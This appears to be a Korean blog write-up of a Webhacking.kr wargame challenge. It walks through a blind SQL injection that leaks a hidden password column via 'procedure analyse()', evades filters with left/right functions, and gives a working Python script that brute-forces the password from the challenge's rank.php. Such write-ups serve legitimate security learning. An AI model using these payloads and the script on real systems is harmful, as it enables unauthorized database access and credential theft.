Webhacking.kr 55-Blind Sql injection
rank table에는
------------------------------------
id
-------------------------------------
score
-------------------------------------
password
-------------------------------------
이런식으로 되어있는 것 같습니다.
password colunm을 알아야할 것 같아서 procedure analyse()를 사용해보기로 했습니다.
이전에 풀었던 문제중에서 이 함수를 통해 테이블의 이름을 얻어온 적이 있었죠??
일단 참과 거짓일 때의 결과가 다릅니다. 따라서 Blind sql injection을 수행할 수가 있었습니다.
ascii, from, substr 등 여러개가 필터링이 걸려있는 것을 확인할 수가 있었습니다.
length는 다행히 걸려있지 않았습니다.
그럼 password의 길이를 알아 봐야하는데 password 칼럼이 어떤 이름으로 되어있는지를 알지 못합니다. 단지 패스워드가 소문자라는 힌트밖에 없었습니다.
?score=1 or 1=1 limit 2 procedure analyse() 를 입력해쓸 때의 결과 값입니다.
id : oldzombie.challenge55_game.ip //
여기선 생략 했지만, ?score=1 or 1=1 limit 1,0 procedure analyse() 일때의 결과 값은
id : oldzombie.challenge55_game.score //
입니다.
?score=1 or 1=1 limit 2,1 procedure analyse() 세번째 값을 보기위해서 시도하였습니다.
id : oldzombie.challenge55_game.pAsSw0RdzzzZ //
password가 들어있는 colunm의 명은 pAsSw0RdzzzZ 입니다.
따라서 length(pAsSw0RdzzzZ) 나 ascii(substr(pAsSw0RdzzzZ,1,1))=?? 으로 길이와 값을 찾아줄 수가 있게 되었습니다.
단 ascii와 select, substr등이 필터링 되어있기 때문에 다른 방법을 찾아야하는데 검색 끝에 right와 left를 이용해서 ascii와 substr같은 효과를 낼 수가 있었습니다.
만약 string="hello" 일때 ascii(substr($string,1,1))=h가 됩니다.
여기서는 right와 left를 이용해야하는데, substr과는 다르게 인자가 2개밖에 들어가지가 않습니다.
left($string,1)은 h 가되고 left($string,2)은 he가 됩니다. left($string,3)은 hel이 되겠구요
right(left($string,2),1) 은 left($string,2)가 he 그중 가장 오른쪽인 e를 가져오고
rigth(left($string,3),1) 은 left($string,3)가 hel 이고 가장 오른쪽인 l을 가져옵니다.
이런식으로 ascii(substr($string,1,1)) 과 같은 효과를 낼 수가 있습니다.
그렇다면 전과 같은 방법으로 스크립트를 작성해보도록 하겠습니다.
- import urllib, urllib2
- password=""
- password_len=0
- tem=''
- for i in range(1,30):
- url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(i)
- req=urllib2.Request(url)
- req.add_header('Cookie','PHPSESSID=본인꺼 입력')
- res=urllib2.urlopen(req)
- if "localhost" in res.read():
- print "Length or password: "+ str(i)
- password_len=i
- break
- for i in range(17, 19):
- for j in range(0,123):
- url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,+"+str(i)+"),1)="+hex(j)
- req=urllib2.Request(url)
- req.add_header('Cookie','PHPSESSID=본인꺼 입력')
- res=urllib2.urlopen(req)
- if "localhost" in res.read():
- tem=str(hex(j))[2::]
- password=password+tem
- print password
이렇게 하면 password를 구할 수가 있었습니다ㅎㅎ
0 개의 댓글